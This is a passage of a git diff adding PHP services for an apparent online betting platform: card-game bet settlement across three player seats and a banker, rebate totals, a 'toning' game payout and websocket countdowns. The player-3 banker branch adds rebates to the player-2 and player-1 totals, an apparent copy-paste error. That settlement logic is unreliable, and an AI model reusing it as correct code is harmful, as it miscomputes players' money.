$newAmount += $v['amount_player_1']; + $rebatePlayer1 -= $v['amount_player_1']; + } + if($v['amount_player_1_times'] > 0){ + $times = CardPositionTc::getTimes($data['result_player_1']); + if($data['result_player_1'] == 1){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_tc_n1'],2); + $timesPlayer1 = $userInfo['price_tc_n1']; + }elseif($data['result_player_1'] == 2){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_tc_n2'],2); + $timesPlayer1 = $userInfo['price_tc_n2']; + }elseif($data['result_player_1'] == 3){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_tc_n3'],2); + $timesPlayer1 = $userInfo['price_tc_n3']; + }elseif($data['result_player_1'] == 4){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_tc_n4'],2); + $timesPlayer1 = $userInfo['price_tc_n4']; + }elseif($data['result_player_1'] == 5){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_tc_n5'],2); + $timesPlayer1 = $userInfo['price_tc_n5']; + }elseif($data['result_player_1'] == 6){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_tc_n6'],2); + $timesPlayer1 = $userInfo['price_tc_n6']; + }elseif($data['result_player_1'] == 7){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_tc_n7'],2); + $timesPlayer1 = $userInfo['price_tc_n7']; + }elseif($data['result_player_1'] == 8){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_tc_n8'],2); + $timesPlayer1 = $userInfo['price_tc_n8']; + }elseif($data['result_player_1'] == 9){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_tc_n9'],2); + $timesPlayer1 = $userInfo['price_tc_n9']; + }elseif($data['result_player_1'] == 10){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_tc_nn'],2); + $timesPlayer1 = $userInfo['price_tc_nn']; + }elseif($data['result_player_1'] == 11){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_tc_bz'],2); + $timesPlayer1 = $userInfo['price_tc_bz']; + }elseif($data['result_player_1'] == 12){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_tc_ths'],2); + $timesPlayer1 = $userInfo['price_tc_ths']; + }elseif($data['result_player_1'] == 13){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_tc_hjths'],2); + $timesPlayer1 = $userInfo['price_tc_hjths']; + } + $winTotalActual += round($v['amount_player_1_times'] * $times,2); + $newAmount += $v['amount_player_1_times']; + $rebatePlayer1 -= $v['amount_player_1_times']; + } + + if($v['amount_player_1_banker'] > 0){ + $times = CardPositionTc::getTimes(1); + $winTotal -= round($v['amount_player_1_banker'] * $times,2); + $rebatePlayer1 += round($v['amount_player_1_banker'] * $times,2); + $newAmount += $v['amount_player_1_banker'] * $times; + $rebate += $v['amount_player_1_banker'] * $times; + } + if($v['amount_player_1_banker_times'] > 0){ + $times = CardPositionTc::getTimes($data['result_player_1']); + $winTotal -= round($v['amount_player_1_banker_times'] * $times,2); + $rebatePlayer1 += round($v['amount_player_1_banker_times'] * $times,2); + $newAmount += $v['amount_player_1_banker_times'] * $times; + $rebate += $v['amount_player_1_banker_times'] * $times; + } + + }elseif($data['win_player_1'] == 0){ + if($v['amount_player_1_banker'] > 0){ + $times = CardPositionTc::getTimes(1); + $winTotal += round($v['amount_player_1_banker'] * $userInfo['price_tc_n1'],2); + $newAmount += $v['amount_player_1_banker'] * $times; + $rebatePlayer1 += $v['amount_player_1_banker'] * $times; + } + if($v['amount_player_1_banker_times'] > 0){ + $times = CardPositionTc::getTimes($data['result_banker']); + if($data['result_banker'] == 1){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_tc_n1'],2); + $timesPlayer1 = $userInfo['price_tc_n1']; + }elseif($data['result_banker'] == 2){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_tc_n2'],2); + $timesPlayer1 = $userInfo['price_tc_n2']; + }elseif($data['result_banker'] == 3){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_tc_n3'],2); + $timesPlayer1 = $userInfo['price_tc_n3']; + }elseif($data['result_banker'] == 4){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_tc_n4'],2); + $timesPlayer1 = $userInfo['price_tc_n4']; + }elseif($data['result_banker'] == 5){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_tc_n5'],2); + $timesPlayer1 = $userInfo['price_tc_n5']; + }elseif($data['result_banker'] == 6){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_tc_n6'],2); + $timesPlayer1 = $userInfo['price_tc_n6']; + }elseif($data['result_banker'] == 7){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_tc_n7'],2); + $timesPlayer1 = $userInfo['price_tc_n7']; + }elseif($data['result_banker'] == 8){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_tc_n8'],2); + $timesPlayer1 = $userInfo['price_tc_n8']; + }elseif($data['result_banker'] == 9){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_tc_n9'],2); + $timesPlayer1 = $userInfo['price_tc_n9']; + }elseif($data['result_banker'] == 10){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_tc_nn'],2); + $timesPlayer1 = $userInfo['price_tc_nn']; + }elseif($data['result_banker'] == 11){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_tc_bz'],2); + $timesPlayer1 = $userInfo['price_tc_bz']; + }elseif($data['result_banker'] == 12){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_tc_ths'],2); + $timesPlayer1 = $userInfo['price_tc_ths']; + }elseif($data['result_banker'] == 13){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_tc_hjths'],2); + $timesPlayer1 = $userInfo['price_tc_hjths']; + } + $newAmount += $v['amount_player_1_banker_times']; + $rebatePlayer1 += $v['amount_player_1_banker_times']; + } + + if($v['amount_player_1'] > 0){ + $times = CardPositionTc::getTimes(1); + $winTotal -= round($v['amount_player_1'] * $times,2); + $winTotalActual -= round($v['amount_player_1'] * $times,2); + $rebatePlayer1 -= round($v['amount_player_1'] * $times,2); + $rebate += $v['amount_player_1'] * $times; + $newAmount += $v['amount_player_1'] * $times; + } + if($v['amount_player_1_times'] > 0){ + $times = CardPositionTc::getTimes($data['result_banker']); + $winTotal -= round($v['amount_player_1_times'] * $times,2); + $winTotalActual -= round($v['amount_player_1_times'] * $times,2); + $rebatePlayer1 -= round($v['amount_player_1_times'] * $times,2); + $rebate += $v['amount_player_1_times'] * $times; + $newAmount += $v['amount_player_1_times'] * $times; + } + } + //闲2 + if($data['win_player_2'] == 1){ + if($v['amount_player_2'] > 0){ + $times = CardPositionTc::getTimes(1); + $winTotal += round($v['amount_player_2'] * $userInfo['price_tc_n1'],2); + $winTotalActual += round($v['amount_player_2'] * $times,2); + $newAmount += $v['amount_player_2']; + $rebatePlayer2 -= $v['amount_player_2']; + } + if($v['amount_player_2_times'] > 0){ + $times = CardPositionTc::getTimes($data['result_player_2']); + if($data['result_player_2'] == 1){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_tc_n1'],2); + $timesPlayer2 = $userInfo['price_tc_n1']; + }elseif($data['result_player_2'] == 2){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_tc_n2'],2); + $timesPlayer2 = $userInfo['price_tc_n2']; + }elseif($data['result_player_2'] == 3){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_tc_n3'],2); + $timesPlayer2 = $userInfo['price_tc_n3']; + }elseif($data['result_player_2'] == 4){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_tc_n4'],2); + $timesPlayer2 = $userInfo['price_tc_n4']; + }elseif($data['result_player_2'] == 5){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_tc_n5'],2); + $timesPlayer2 = $userInfo['price_tc_n5']; + }elseif($data['result_player_2'] == 6){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_tc_n6'],2); + $timesPlayer2 = $userInfo['price_tc_n6']; + }elseif($data['result_player_2'] == 7){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_tc_n7'],2); + $timesPlayer2 = $userInfo['price_tc_n7']; + }elseif($data['result_player_2'] == 8){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_tc_n8'],2); + $timesPlayer2 = $userInfo['price_tc_n8']; + }elseif($data['result_player_2'] == 9){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_tc_n9'],2); + $timesPlayer2 = $userInfo['price_tc_n9']; + }elseif($data['result_player_2'] == 10){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_tc_nn'],2); + $timesPlayer2 = $userInfo['price_tc_nn']; + }elseif($data['result_player_2'] == 11){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_tc_bz'],2); + $timesPlayer2 = $userInfo['price_tc_bz']; + }elseif($data['result_player_2'] == 12){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_tc_ths'],2); + $timesPlayer2 = $userInfo['price_tc_ths']; + }elseif($data['result_player_2'] == 13){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_tc_hjths'],2); + $timesPlayer2 = $userInfo['price_tc_hjths']; + } + $winTotalActual += round($v['amount_player_2_times'] * $times,2); + $newAmount += $v['amount_player_2_times']; + $rebatePlayer2 -= $v['amount_player_2_times']; + } + + if($v['amount_player_2_banker'] > 0){ + $times = CardPositionTc::getTimes(1); + $winTotal -= round($v['amount_player_2_banker'] * $times,2); + $rebatePlayer2 += round($v['amount_player_2_banker'] * $times,2); + $rebate += $v['amount_player_2_banker'] * $times; + $newAmount += $v['amount_player_2_banker'] * $times; + } + if($v['amount_player_2_banker_times'] > 0){ + $times = CardPositionTc::getTimes($data['result_player_2']); + $winTotal -= round($v['amount_player_2_banker_times'] * $times,2); + $rebatePlayer2 += round($v['amount_player_2_banker_times'] * $times,2); + $rebate += $v['amount_player_2_banker_times'] * $times; + $newAmount += $v['amount_player_2_banker_times'] * $times; + } + + }elseif($data['win_player_2'] == 0){ + if($v['amount_player_2_banker'] > 0){ + $times = CardPositionTc::getTimes(1); + $winTotal += round($v['amount_player_2_banker'] * $userInfo['price_tc_n1'],2); + $rebatePlayer2 += $v['amount_player_2_banker'] * $times; + $newAmount += $v['amount_player_2_banker'] * $times; + } + if($v['amount_player_2_banker_times'] > 0){ + $times = CardPositionTc::getTimes($data['result_banker']); + if($data['result_banker'] == 1){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_tc_n1'],2); + $timesPlayer2 = $userInfo['price_tc_n1']; + }elseif($data['result_banker'] == 2){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_tc_n2'],2); + $timesPlayer2 = $userInfo['price_tc_n2']; + }elseif($data['result_banker'] == 3){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_tc_n3'],2); + $timesPlayer2 = $userInfo['price_tc_n3']; + }elseif($data['result_banker'] == 4){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_tc_n4'],2); + $timesPlayer2 = $userInfo['price_tc_n4']; + }elseif($data['result_banker'] == 5){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_tc_n5'],2); + $timesPlayer2 = $userInfo['price_tc_n5']; + }elseif($data['result_banker'] == 6){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_tc_n6'],2); + $timesPlayer2 = $userInfo['price_tc_n6']; + }elseif($data['result_banker'] == 7){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_tc_n7'],2); + $timesPlayer2 = $userInfo['price_tc_n7']; + }elseif($data['result_banker'] == 8){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_tc_n8'],2); + $timesPlayer2 = $userInfo['price_tc_n8']; + }elseif($data['result_banker'] == 9){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_tc_n9'],2); + $timesPlayer2 = $userInfo['price_tc_n9']; + }elseif($data['result_banker'] == 10){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_tc_nn'],2); + $timesPlayer2 = $userInfo['price_tc_nn']; + }elseif($data['result_banker'] == 11){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_tc_bz'],2); + $timesPlayer2 = $userInfo['price_tc_bz']; + }elseif($data['result_banker'] == 12){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_tc_ths'],2); + $timesPlayer2 = $userInfo['price_tc_ths']; + }elseif($data['result_banker'] == 13){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_tc_hjths'],2); + $timesPlayer2 = $userInfo['price_tc_hjths']; + } + $rebatePlayer2 += $v['amount_player_2_banker_times']; + $newAmount += $v['amount_player_2_banker_times']; + } + + if($v['amount_player_2'] > 0){ + $times = CardPositionTc::getTimes(1); + $winTotal -= round($v['amount_player_2'] * $times,2); + $winTotalActual -= round($v['amount_player_2'] * $times,2); + $rebatePlayer2 -= round($v['amount_player_2'] * $times,2); + $rebate += $v['amount_player_2'] * $times; + $newAmount += $v['amount_player_2'] * $times; + } + if($v['amount_player_2_times'] > 0){ + $times = CardPositionTc::getTimes($data['result_banker']); + $winTotal -= round($v['amount_player_2_times'] * $times,2); + $winTotalActual -= round($v['amount_player_2_times'] * $times,2); + $rebatePlayer2 -= round($v['amount_player_2_times'] * $times,2); + $rebate += $v['amount_player_2_times'] * $times; + $newAmount += $v['amount_player_2_times'] * $times; + } + } + + //闲3 + if($data['win_player_3'] == 1){ + if($v['amount_player_3'] > 0){ + $times = CardPositionTc::getTimes(1); + $winTotal += round($v['amount_player_3'] * $userInfo['price_tc_n1'],2); + $winTotalActual += round($v['amount_player_3'] * $times,2); + $rebatePlayer3 -= $v['amount_player_3']; + $newAmount += $v['amount_player_3']; + } + if($v['amount_player_3_times'] > 0){ + $times = CardPositionTc::getTimes($data['result_player_3']); + if($data['result_player_3'] == 1){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_tc_n1'],2); + $timesPlayer3 = $userInfo['price_tc_n1']; + }elseif($data['result_player_3'] == 2){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_tc_n2'],2); + $timesPlayer3 = $userInfo['price_tc_n2']; + }elseif($data['result_player_3'] == 3){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_tc_n3'],2); + $timesPlayer3 = $userInfo['price_tc_n3']; + }elseif($data['result_player_3'] == 4){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_tc_n4'],2); + $timesPlayer3 = $userInfo['price_tc_n4']; + }elseif($data['result_player_3'] == 5){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_tc_n5'],2); + $timesPlayer3 = $userInfo['price_tc_n5']; + }elseif($data['result_player_3'] == 6){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_tc_n6'],2); + $timesPlayer3 = $userInfo['price_tc_n6']; + }elseif($data['result_player_3'] == 7){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_tc_n7'],2); + $timesPlayer3 = $userInfo['price_tc_n7']; + }elseif($data['result_player_3'] == 8){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_tc_n8'],2); + $timesPlayer3 = $userInfo['price_tc_n8']; + }elseif($data['result_player_3'] == 9){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_tc_n9'],2); + $timesPlayer3 = $userInfo['price_tc_n9']; + }elseif($data['result_player_3'] == 10){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_tc_nn'],2); + $timesPlayer3 = $userInfo['price_tc_nn']; + }elseif($data['result_player_3'] == 11){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_tc_bz'],2); + $timesPlayer3 = $userInfo['price_tc_bz']; + }elseif($data['result_player_3'] == 12){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_tc_ths'],2); + $timesPlayer3 = $userInfo['price_tc_ths']; + }elseif($data['result_player_3'] == 13){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_tc_hjths'],2); + $timesPlayer3 = $userInfo['price_tc_hjths']; + } + $winTotalActual += round($v['amount_player_3_times'] * $times,2); + $rebatePlayer3 -= $v['amount_player_3_times']; + $newAmount += $v['amount_player_3_times']; + } + + if($v['amount_player_3_banker'] > 0){ + $times = CardPositionTc::getTimes(1); + $winTotal -= round($v['amount_player_3_banker'] * $times,2); + $rebatePlayer2 += round($v['amount_player_3_banker'] * $times,2); + $rebate += $v['amount_player_3_banker'] * $times; + $newAmount += $v['amount_player_3_banker'] * $times; + } + if($v['amount_player_3_banker_times'] > 0){ + $times = CardPositionTc::getTimes($data['result_player_3']); + $winTotal -= round($v['amount_player_3_banker_times'] * $times,2); + $rebatePlayer1 += round($v['amount_player_3_banker_times'] * $times,2); + $rebate += $v['amount_player_3_banker_times'] * $times; + $newAmount += $v['amount_player_3_banker_times'] * $times; + } + + }elseif($data['win_player_3'] == 0){ + if($v['amount_player_3_banker'] > 0){ + $times = CardPositionTc::getTimes(1); + $winTotal += round($v['amount_player_3_banker'] * $userInfo['price_tc_n1'],2); + $rebatePlayer3 += $v['amount_player_3_banker'] * $times; + $newAmount += $v['amount_player_3_banker'] * $times; + } + if($v['amount_player_3_banker_times'] > 0){ + $times = CardPositionTc::getTimes($data['result_banker']); + if($data['result_banker'] == 1){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_tc_n1'],2); + $timesPlayer3 = $userInfo['price_tc_n1']; + }elseif($data['result_banker'] == 2){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_tc_n2'],2); + $timesPlayer3 = $userInfo['price_tc_n2']; + }elseif($data['result_banker'] == 3){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_tc_n3'],2); + $timesPlayer3 = $userInfo['price_tc_n3']; + }elseif($data['result_banker'] == 4){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_tc_n4'],2); + $timesPlayer3 = $userInfo['price_tc_n4']; + }elseif($data['result_banker'] == 5){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_tc_n5'],2); + $timesPlayer3 = $userInfo['price_tc_n5']; + }elseif($data['result_banker'] == 6){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_tc_n6'],2); + $timesPlayer3 = $userInfo['price_tc_n6']; + }elseif($data['result_banker'] == 7){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_tc_n7'],2); + $timesPlayer3 = $userInfo['price_tc_n7']; + }elseif($data['result_banker'] == 8){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_tc_n8'],2); + $timesPlayer3 = $userInfo['price_tc_n8']; + }elseif($data['result_banker'] == 9){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_tc_n9'],2); + $timesPlayer3 = $userInfo['price_tc_n9']; + }elseif($data['result_banker'] == 10){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_tc_nn'],2); + $timesPlayer3 = $userInfo['price_tc_nn']; + }elseif($data['result_banker'] == 11){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_tc_bz'],2); + $timesPlayer3 = $userInfo['price_tc_bz']; + }elseif($data['result_banker'] == 12){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_tc_ths'],2); + $timesPlayer3 = $userInfo['price_tc_ths']; + }elseif($data['result_banker'] == 13){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_tc_hjths'],2); + $timesPlayer3 = $userInfo['price_tc_hjths']; + } + $rebatePlayer3 += $v['amount_player_3_banker_times']; + $newAmount += $v['amount_player_3_banker_times']; + } + + if($v['amount_player_3'] > 0){ + $times = CardPositionTc::getTimes(1); + $winTotal -= round($v['amount_player_3'] * $times,2); + $winTotalActual -= round($v['amount_player_3'] * $times,2); + $rebatePlayer3 -= round($v['amount_player_3'] * $times,2); + $rebate += $v['amount_player_3'] * $times; + $newAmount += $v['amount_player_3'] * $times; + } + if($v['amount_player_3_times'] > 0){ + $times = CardPositionTc::getTimes($data['result_banker']); + $winTotal -= round($v['amount_player_3_times'] * $times,2); + $winTotalActual -= round($v['amount_player_3_times'] * $times,2); + $rebatePlayer3 -= round($v['amount_player_3_times'] * $times,2); + $rebate += $v['amount_player_3_times'] * $times; + $newAmount += $v['amount_player_3_times'] * $times; + } + } + + // 双边洗码 + if($userInfo['type_xima'] == 1){ + $rebate = abs($rebatePlayer1) + abs($rebatePlayer2) + abs($rebatePlayer3); + } + + //计算庄家输赢 + if($numberTabInfo['rob_banker_username']){ + if($userInfo['is_sw'] == 0){ + $bankerWinTotal = $winTotalActual + $bankerWinTotal; + } + } + $v['position_first'] = $numberTabInfo['position_first']; + $betInfoItem = array_merge($v,$data); + $betInfoItem['times_player_1'] = $timesPlayer1; + $betInfoItem['times_player_2'] = $timesPlayer2; + $betInfoItem['times_player_3'] = $timesPlayer3; + $res = Bet::openingBet($tableInfo,$betInfoItem,$userInfo,$numberTabInfo,$amount,$winTotal,$rebate,$withholdAmount); + if ($res['status']){ + $tableUser = app('swoole.table.user'); + $userSession = $tableUser->get((string) $v['user_id']); + if ($userSession && is_array($userSession)){ + $ws->setSender(0)->to($userSession['fd'])->emit('opening',[ + 'status' => true, + 'table_id' => $tableInfo['id'], + 'round' => [ + 'money' => $res['money'], + 'win_total' => $winTotal, + 'previous_number_tab_id' => $v['number_tab_id'] + ] + ]); + } + } + } + + /** + * 计算抢庄 + */ + if($numberTabInfo['rob_banker_id'] > 0){ + $userInfo = User::get(intval($numberTabInfo['rob_banker_id'])); + //更新user表余额 + $winTotal = to_number($bankerWinTotal); + if($winTotal > 0){ + $winTotal = $winTotal * 0.94; + } + $amount = 0; + $rebate = abs($bankerWinTotal); + $bankerBetInfo = array_merge($bankerBetInfo,$data); + $res = Bet::openingBet($tableInfo,$bankerBetInfo,$userInfo,$numberTabInfo,$amount,$winTotal,$rebate); + if ($res['status']){ + $tableUser = app('swoole.table.user'); + $userSession = $tableUser->get((string) $userInfo['id']); + if ($userSession && is_array($userSession)) { + $ws->setSender(0)->to($userSession['fd'])->emit('opening', [ + 'status' => true, + 'table_id' => $tableInfo['id'], + 'round' => [ + 'money' => $res['money'], + 'previous_number_tab_id' => $bankerBetInfo['number_tab_id'] + ] + ]); + } + } + } + } +} \ No newline at end of file diff --git a/app/services/opening/OpeningToningService.php b/app/services/opening/OpeningToningService.php new file mode 100644 index 0000000..abc161a --- /dev/null +++ b/app/services/opening/OpeningToningService.php @@ -0,0 +1,151 @@ +emit('openingToning',['status' => false, 'msg' => $res['msg']]); + return; + } + list($result,$lastNumberTabInfo,$newNumberTabInfo) = $res['data']; + $round = array( + 'result' => $result, + 'boot_id' => $newNumberTabInfo['boot_id'], + 'boot_num' => $newNumberTabInfo['boot_num'], + 'number_tab_id' => $newNumberTabInfo['id'], + 'previous_number_tab_id' => $lastNumberTabInfo['id'], + 'number_tab_number' => $newNumberTabInfo['number'], + 'number_tab_status' => InitTableService::numberTabStatus($newNumberTabInfo) + ); + $ws->emit('openingToning',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + $ws->to(SocketSession::HOUSE_NAME)->emit('openingToningResult',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + //处理注单 + self::doBet($ws,$tableInfo,$lastNumberTabInfo); + } + + /** + * TODO 判断结果 + * @param array $event + * @param array $tableInfo + * @return array + */ + public static function doOpening(array $event, array $tableInfo): array + { + if (!isset($event['number_tab_id'])) return ['status' => false, 'msg' => 'opening_fail_2']; + $numberTabId = intval($event['number_tab_id']); + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + if (!$numberTabInfo || $numberTabId != $numberTabInfo['id']) return ['status' => false, 'msg' => 'opening_fail_2']; + if ($numberTabInfo['bet_status'] != 2) return ['status' => false, 'msg' => 'opening_fail_4']; + $result = intval($event['result']); + if (!in_array($result,[0,1,2,3,4])) return ['status' => false, 'msg' => 'opening_fail_3']; + // 统计结果数目 + $boot = Boot::where(['id' => $numberTabInfo['boot_id']])->find(); + $toningCountArray = ToningUtil::countInc($result, $boot['toning_count']); + $toningCountString = array_to_string($toningCountArray); + $numberTabInfo['toning_count'] = $toningCountString; + $numberTabUpdate = ['toning_result' => $result, 'end_time' => time(), 'bet_status' => 3]; + $newNumberTabInfo = NumberTab::next($numberTabInfo,$numberTabUpdate,$tableInfo); + if ($newNumberTabInfo){ + $lastNumberTabInfo = array_merge($numberTabInfo,$numberTabUpdate); + return ['status' => true, 'data' => [$result,$lastNumberTabInfo,$newNumberTabInfo]]; + }else{ + return ['status' => false, 'msg' => 'opening_fail']; + } + } + + /** + * TODO Bet处理 + * @param Websocket $ws 桌子信息 + * @param array $tableInfo 桌子信息 + * @param array $numberTabInfo 开结果的当前局信息 + * @return void + */ + public static function doBet(Websocket $ws, array $tableInfo, array $numberTabInfo){ + $betArray = Bet::getByNumberTabIdValid($numberTabInfo['id']); + foreach ($betArray AS $v){ + $userInfo = User::get(intval($v['user_id'])); + if (!$userInfo){ + continue; + } + if (empty($v['toning_amount'])){ + continue; + } + $toningAmountArray = explode(",", $v['toning_amount']); + $amount = 0; + $winMoney = 0; + foreach ($toningAmountArray as $value){ + $itemArray = explode(":", $value); + $area = $itemArray[0]; + $betAmount = intval($itemArray[1]); + $amount += $itemArray[1]; + if (($area == 'toning_zero' && $numberTabInfo['toning_result'] == 0) || ($area == 'toning_four' && $numberTabInfo['toning_result'] == 4)){ + $winMoney = round($betAmount * (1 + $userInfo['price_toning_0']),2) + $winMoney; + } + if (($area == 'toning_one' && $numberTabInfo['toning_result'] == 1) || ($area == 'toning_three' && $numberTabInfo['toning_result'] == 3)){ + $winMoney = round($betAmount * (1 + $userInfo['price_toning_1']),2) + $winMoney; + } + if ($area == 'toning_big' && in_array($numberTabInfo['toning_result'], [3,4])){ + $winMoney = round($betAmount * (1 + $userInfo['price_toning']),2) + $winMoney; + } + if ($area == 'toning_small' && in_array($numberTabInfo['toning_result'], [0,1])){ + $winMoney = round($betAmount * (1 + $userInfo['price_toning']),2) + $winMoney; + } + if ($area == 'toning_singular' && in_array($numberTabInfo['toning_result'], [1,3])){ + $winMoney = round($betAmount * (1 + $userInfo['price_toning']),2) + $winMoney; + } + if ($area == 'toning_plural' && in_array($numberTabInfo['toning_result'], [0,2,4])){ + $winMoney = round($betAmount * (1 + $userInfo['price_toning']),2) + $winMoney; + } + if (($area == 'toning_small' && $numberTabInfo['toning_result'] == 2) || ($area == 'toning_big' && $numberTabInfo['toning_result'] == 2)){ + $winMoney = round($betAmount + $winMoney,2); + } + } + $winTotal = $winMoney - $amount; + /** + * Model处理 + * @param array $tableInfo 桌子信息 + * @param array $betInfo bet信息 + * @param array $userInfo bet用户信息 + * @param array $numberTabInfo 局信息 + * @param float $amount 下注总数 + * @param float $winTotal 赢金额 + * @param float $ximaliang 洗码量 + */ + $res = Bet::openingBet($tableInfo,$v,$userInfo,$numberTabInfo,$amount,$winTotal,0); + if ($res['status'] == true){ + $tableUser = app('swoole.table.user'); + $userSession = $tableUser->get((string) $v['user_id']); + if ($userSession && is_array($userSession)) { + $ws->setSender(0)->to($userSession['fd'])->emit('opening',['status' => true, 'table_id' => $tableInfo['id'], 'round' => ['money' => $res['money'], 'win_total' => $winTotal, 'previous_number_tab_id' => $v['number_tab_id']]]); + } + } + } + } +} \ No newline at end of file diff --git a/app/services/process/CountdownService.php b/app/services/process/CountdownService.php new file mode 100644 index 0000000..f40b387 --- /dev/null +++ b/app/services/process/CountdownService.php @@ -0,0 +1,75 @@ += 0){ + $countdown = Cache::store('redis')->get('countdown_'.$numberTabInfo['id']); + if ($countdown){ + $ws->to(SocketSession::HOUSE_NAME)->emit('startBetCountDown',['status' => true, 'table_id' => $tableInfo['id'], 'count_down' => $waitTime]); + $waitTime--; + sleep(1); + if ($waitTime == 0){ + //关闭倒计时 + EndBetService::endBet($numberTabId,$tableInfo); + } + }else{ + break; + } + } + } + + /** + * TODO 倒计时发送(Rob) + * @param int $numberTabId + * @param array $tableInfo + * @param array $numberTabInfo + * @return void + */ + public static function countdownRob(int $numberTabId, array $tableInfo, array $numberTabInfo){ + $ws = app('\think\swoole\WebSocket'); + //处理倒计时 + $waitTime = intval($tableInfo['rob_time']); + //将倒计时用作是redis的过期时间 + RedisUtil::save('countdownRob_'.$numberTabInfo['id'],$waitTime,$waitTime); + while($waitTime >= 0){ + $countdown = Cache::store('redis')->get('countdownRob_'.$numberTabInfo['id']); + if ($countdown){ + $ws->to(SocketSession::HOUSE_NAME)->emit('startRobCountDown',['status' => true, 'table_id' => $tableInfo['id'], 'count_down' => $waitTime]); + $waitTime--; + sleep(1); + if ($waitTime == 0){ + //关闭倒计时 + EndRobService::endRob($numberTabId,$tableInfo); + } + }else{ + break; + } + } + } +} \ No newline at end of file diff --git a/app/services/process/EndBetService.php b/app/services/process/EndBetService.php new file mode 100644 index 0000000..68a9aa3 --- /dev/null +++ b/app/services/process/EndBetService.php @@ -0,0 +1,48 @@ +to(SocketSession::HOUSE_NAME)->emit('endBet',[ + 'status' => true, + 'table_id' => $tableInfo['id'], + 'round' => [ + 'boot_id' => $numberTabInfo['boot_id'], + 'boot_num' => $numberTabInfo['boot_num'], + 'number_tab_id' => $numberTabInfo['id'], + 'number_tab_number' => $numberTabInfo['number'], + 'in_checkout' => $tableInfo['in_checkout'], + 'number_tab_status' => InitTableService::numberTabStatus($numberTabInfo) + ] + ]); + }else{ + $ws->emit('endBet', ['status' => false, 'msg' => $modelRes['msg']]); + } + } +} \ No newline at end of file diff --git a/app/services/process/EndRobService.php b/app/services/process/EndRobService.php new file mode 100644 index 0000000..7482d43 --- /dev/null +++ 